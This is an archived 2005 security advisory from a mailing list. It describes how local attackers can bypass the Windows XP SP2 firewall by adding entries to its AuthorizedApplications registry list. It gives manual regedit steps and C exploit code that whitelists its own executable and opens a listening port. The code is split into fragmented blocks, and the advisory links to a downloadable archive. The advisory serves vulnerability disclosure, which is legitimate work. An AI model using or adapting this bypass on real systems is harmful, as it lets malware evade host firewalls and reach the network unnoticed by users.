

# [NT] Windows XP Firewall Bypassing (Registry Based)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-09/0049.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 09/13/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 13 Sep 2005 15:47:53 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Windows XP Firewall Bypassing (Registry Based)

---

## SUMMARY

Microsoft Windows XP SP2 comes bundled with a Firewall. Direct access to Firewall's registry keys allow local attackers to bypass the Firewall blocking list and allow malicious program to connect the network.

## DETAILS

Vulnerable Systems:

- \* Microsoft Windows XP SP2

Windows XP SP2 Firewall has list of allowed program in registry which are not properly protected from modification by a malicious local attacker.

If an attacker adds a new key to the registry address of HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, the attacker can enable his malware or Trojan to connect to the Internet without the Firewall triggering a warning.

Proof of Concept:

## Securiteam: [NT] Windows XP Firewall Bypassing (Registry Based)

Launch the regedit.exe program and access the keys found under the following path:

```
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
SharedAccess\Parameters\FirewallPolicy\StandardProfile\
AuthorizedApplications\List
```

Add an entry key such as this one:

Name: C:\chat.exe

Value: C:\chat.exe:\*:Enabled:chat

Exploit:

```
#include <stdio.h>
```

```
#include <windows.h>
```

```
#include <ezsocket.h>
```

```
#include <conio.h>
```

```
#include "Shlwapi.h"
```

```
int main( int argc, char *argv [] )
```

```
{
    char buffer[1024];
    char filename[1024];
```

```
HKEY hKey;
```

```
int i;
```

```
GetModuleFileName(NULL, filename, 1024);
```

```
strcpy(buffer, filename);
strcat(buffer, ".*:Enabled:");
strcat(buffer, "bugg");
```

```
RegOpenKeyEx(
```

```
    HKEY_LOCAL_MACHINE,
    "SYSTEM\CurrentControlSet\Services"
    "\\SharedAccess\Parameters\FirewallPolicy\StandardProfile"
    "\\AuthorizedApplications\List",
    0,
    KEY_ALL_ACCESS,
    &hKey);
```

```
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));
```

```
int temp, sockfd, new_fd, fd_size;
struct sockaddr_in remote_addr;
```

```
fprintf(stdout, "Simple server example with Anti SP2 firewall trick
\n");
fprintf(stdout, " This is not trojan
\n");
fprintf(stdout, " Opened port is :2001
```

## Securiteam: [NT] Windows XP Firewall Bypassing (Registry Based)

```
\n");
    fprintf(stdout, "author:Mark Kica student of Technical University
Kosice\n");
    fprintf(stdout, "Dedicated to Katka H. from Levoca
\n");

    sleep(3);

    if ((sockfd = ezsocket(NULL, NULL, 2001, SERVER)) == -1)
        return 0;

    for (; ; )
    {
        RegDeleteValue(hKey, filename);
        fd_size = sizeof(struct sockaddr_in);

        if ((new_fd = accept(sockfd, (struct sockaddr *)&remote_addr,
&fd_size)) == -1)
        {
            perror("accept");
            continue;
        }
        temp = send(new_fd, "Hello World\r\n", strlen("Hello World\r\n"),
0);
        fprintf(stdout, "Sended: Hello World\r\n");
        temp = recv(new_fd, buffer, 1024, 0);
        buffer[temp] = '\0';
        fprintf(stdout, "Recieved: %s\r\n", buffer);
        ezclose_socket(new_fd);
        RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));

        if (!strcmp(buffer, "quit"))
            break;
    }

    ezsocket_exit();
    return 0;
}

/* EOF */
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:crusoe@alexandria.cc> Mark Kica.

The original article can be found at:

<<http://taekwondo-itf.szm.sk/bugg.zip>>

<http://taekwondo-itf.szm.sk/bugg.zip>

Securiteam: [NT] Windows XP Firewall Bypassing (Registry Based)

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.